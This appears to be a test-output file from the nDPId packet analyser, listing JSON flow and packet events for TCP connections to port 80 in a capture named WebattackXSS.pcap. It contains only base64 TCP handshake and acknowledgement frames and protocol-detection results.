+00444{"flow_id":326,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4622,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347522,"pkt_ts_usec":204711,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ4uhHWnn+GjEer6AScSCg9wAAAgQFtAQCCAoD5NboATsFcwEDAwc="} +00435{"flow_id":326,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4623,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347522,"pkt_ts_usec":205463,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0G95AAD4GqfqsEAABwKgKMuLoAFAaMR6vR1p5\/4AQAOU\/\/wAAAQEICgE7BXMD5Nbo"} +00432{"flow_id":323,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4627,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347522,"pkt_ts_usec":754031,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0PfZAAD4Gh+KsEAABwKgKMuKyAFAJ1z19cMohOoARAOVldgAAAQEICgE7BfwD5NH+"} +00433{"flow_id":323,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4628,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347522,"pkt_ts_usec":754253,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA09khAAEAGzY\/AqAoyrBAAAQBQ4rJwyiE6Cdc9foARAONgAwAAAQEICgPk13IBOwX8"} +00432{"flow_id":323,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4629,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347522,"pkt_ts_usec":754994,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0PfdAAD4Gh+GsEAABwKgKMuKyAFAJ1z1+cMohO4AQAOVgAQAAAQEICgE7BfwD5Ndy"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":4633,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":327,"flow_packet_id":1,"flow_first_seen":1499347523488,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":58102,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":327,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4633,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347523,"pkt_ts_usec":488657,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8bP1AAD4GWNOsEAABwKgKMuL2AFCTdmpJAAAAAKACchB2DgAAAgQFtAQCCAoBOwa0AAAAAAEDAwc="} +00444{"flow_id":327,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4634,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347523,"pkt_ts_usec":488812,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ4vYacquOk3ZqSqAScSDU3gAAAgQFtAQCCAoD5NgpATsGtAEDAwc="} +00432{"flow_id":327,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4635,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347523,"pkt_ts_usec":489379,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0bP5AAD4GWNqsEAABwKgKMuL2AFCTdmpKGnKrj4AQAOVz5gAAAQEICgE7BrQD5Ngp"} +00432{"flow_id":324,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4639,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347523,"pkt_ts_usec":754175,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0FGhAAD4GsXCsEAABwKgKMuLAAFAhaxXZllXpy4ARAOWFKwAAAQEICgE7BvYD5NM0"} +00433{"flow_id":324,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4640,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347523,"pkt_ts_usec":754433,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0MadAAEAGkjHAqAoyrBAAAQBQ4sCWVenLIWsV2oARAON\/9AAAAQEICgPk2GwBOwb2"} +00433{"flow_id":324,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4641,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347523,"pkt_ts_usec":754954,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0FGlAAD4GsW+sEAABwKgKMuLAAFAhaxXallXpzIAQAOV\/8gAAAQEICgE7BvYD5Nhs"} +00433{"flow_id":325,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4645,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347524,"pkt_ts_usec":755170,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0A+ZAAD4GwfKsEAABwKgKMuLOAFBZkgEgJP28OYARAOX+YgAAAQEICgE7B\/AD5NRx"} +00433{"flow_id":325,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4646,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347524,"pkt_ts_usec":755987,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0ZV9AAEAGXnnAqAoyrBAAAQBQ4s4k\/bw5WZIBIYARAOP5bgAAAQEICgPk2WYBOwfw"} +00433{"flow_id":325,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4647,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347524,"pkt_ts_usec":756530,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0A+dAAD4GwfGsEAABwKgKMuLOAFBZkgEhJP28OoAQAOX5awAAAQEICgE7B\/ED5Nlm"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":4648,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":328,"flow_packet_id":1,"flow_first_seen":1499347524782,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":58116,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":328,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4648,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347524,"pkt_ts_usec":782374,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8uUBAAD4GDJCsEAABwKgKMuMEAFAFWr63AAAAAKACchCuawAAAgQFtAQCCAoBOwf3AAAAAAEDAwc="} +00445{"flow_id":328,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4649,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347524,"pkt_ts_usec":782469,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ4wR+L\/VQBVq+uKAScSBeeAAAAgQFtAQCCAoD5NltATsH9wEDAwc="} +00434{"flow_id":328,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4650,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347524,"pkt_ts_usec":783240,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0uUFAAD4GDJesEAABwKgKMuMEAFAFWr64fi\/1UYAQAOX9fwAAAQEICgE7B\/cD5Nlt"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":4657,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":329,"flow_packet_id":1,"flow_first_seen":1499347526155,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":58130,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":329,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4657,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347526,"pkt_ts_usec":155708,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8vM5AAD4GCQKsEAABwKgKMuMSAFBd27WBAAAAAKACchBdugAAAgQFtAQCCAoBOwlPAAAAAAEDAwc="} +00444{"flow_id":329,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4658,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347526,"pkt_ts_usec":155864,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ4xLVlk4tXdu1gqAScSBcLAAAAgQFtAQCCAoD5NrEATsJTwEDAwc="} +00432{"flow_id":329,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4659,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347526,"pkt_ts_usec":156511,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0vM9AAD4GCQmsEAABwKgKMuMSAFBd27WC1ZZOLoAQAOX7MwAAAQEICgE7CU8D5NrE"} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":4663,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":285,"flow_packet_id":6,"flow_first_seen":1499347452731,"flow_last_seen":1499347457736,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":57346,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":4663,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":285,"flow_packet_id":6,"flow_first_seen":1499347452731,"flow_last_seen":1499347457736,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":57346,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":4663,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":286,"flow_packet_id":6,"flow_first_seen":1499347455224,"flow_last_seen":1499347460737,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":57372,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":4663,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":286,"flow_packet_id":6,"flow_first_seen":1499347455224,"flow_last_seen":1499347460737,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":57372,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":4663,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":287,"flow_packet_id":6,"flow_first_seen":1499347456462,"flow_last_seen":1499347461738,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":57386,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":4663,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":287,"flow_packet_id":6,"flow_first_seen":1499347456462,"flow_last_seen":1499347461738,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":57386,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":4663,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":288,"flow_packet_id":6,"flow_first_seen":1499347457705,"flow_last_seen":1499347462738,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":57400,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":4663,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":288,"flow_packet_id":6,"flow_first_seen":1499347457705,"flow_last_seen":1499347462738,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":57400,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":4663,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":289,"flow_packet_id":6,"flow_first_seen":1499347460253,"flow_last_seen":1499347465739,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":57426,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":4663,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":289,"flow_packet_id":6,"flow_first_seen":1499347460253,"flow_last_seen":1499347465739,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":57426,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":4663,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":290,"flow_packet_id":6,"flow_first_seen":1499347461508,"flow_last_seen":1499347466739,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":57440,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":4663,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":290,"flow_packet_id":6,"flow_first_seen":1499347461508,"flow_last_seen":1499347466739,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":57440,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":4666,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":330,"flow_packet_id":1,"flow_first_seen":1499347527425,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":58144,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":330,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4666,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347527,"pkt_ts_usec":425398,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA84vtAAD4G4tSsEAABwKgKMuMgAFAAyeh3AAAAAKACchCGiwAAAgQFtAQCCAoBOwqMAAAAAAEDAwc="} +00444{"flow_id":330,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4667,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347527,"pkt_ts_usec":425522,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ4yBtIXfPAMnoeKAScSDCkwAAAgQFtAQCCAoD5NwBATsKjAEDAwc="} +00432{"flow_id":330,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4668,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347527,"pkt_ts_usec":426269,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA04vxAAD4G4tusEAABwKgKMuMgAFAAyeh4bSF30IAQAOVhmwAAAQEICgE7CowD5NwB"} +00433{"flow_id":326,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4672,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347527,"pkt_ts_usec":755915,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0G99AAD4GqfmsEAABwKgKMuLoAFAaMR6vR1p5\/4ARAOU6kgAAAQEICgE7Ct8D5Nbo"} +00433{"flow_id":326,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4673,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347527,"pkt_ts_usec":756132,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0patAAEAGHi3AqAoyrBAAAQBQ4uhHWnn\/GjEesIARAOM1JwAAAQEICgPk3FQBOwrf"} +00432{"flow_id":326,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4674,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347527,"pkt_ts_usec":756867,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0G+BAAD4GqfisEAABwKgKMuLoAFAaMR6wR1p6AIAQAOU1JQAAAQEICgE7Ct8D5NxU"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":4678,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":331,"flow_packet_id":1,"flow_first_seen":1499347528679,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":58158,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":331,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4678,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347528,"pkt_ts_usec":679590,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA86w9AAD4G2sCsEAABwKgKMuMuAFDPaODJAAAAAKACchC+UQAAAgQFtAQCCAoBOwvGAAAAAAEDAwc="} +00444{"flow_id":331,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4679,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347528,"pkt_ts_usec":679685,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ4y4jZsPUz2jgyqAScSD21QAAAgQFtAQCCAoD5N07ATsLxgEDAwc="} +00432{"flow_id":331,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4680,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347528,"pkt_ts_usec":680460,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA06xBAAD4G2sesEAABwKgKMuMuAFDPaODKI2bD1YAQAOWV3QAAAQEICgE7C8YD5N07"} +00432{"flow_id":327,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4685,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347528,"pkt_ts_usec":757001,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0bP9AAD4GWNmsEAABwKgKMuL2AFCTdmpKGnKrj4ARAOVuwAAAAQEICgE7C9kD5Ngp"} +00432{"flow_id":327,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4686,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347528,"pkt_ts_usec":757192,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0dsFAAEAGTRfAqAoyrBAAAQBQ4vYacquPk3ZqS4ARAONpnAAAAQEICgPk3U4BOwvZ"} +00432{"flow_id":327,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4687,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347528,"pkt_ts_usec":757929,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0bQBAAD4GWNisEAABwKgKMuL2AFCTdmpLGnKrkIAQAOVpmgAAAQEICgE7C9kD5N1O"} +00433{"flow_id":328,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4694,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347530,"pkt_ts_usec":757896,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0uUJAAD4GDJasEAABwKgKMuMEAFAFWr64fi\/1UYARAOX3qAAAAQEICgE7Dc0D5Nlt"} +00433{"flow_id":328,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4695,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347530,"pkt_ts_usec":758058,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0KhNAAEAGmcXAqAoyrBAAAQBQ4wR+L\/VRBVq+uYAQAOPx1AAAAQEICgPk30MBOw3N"} 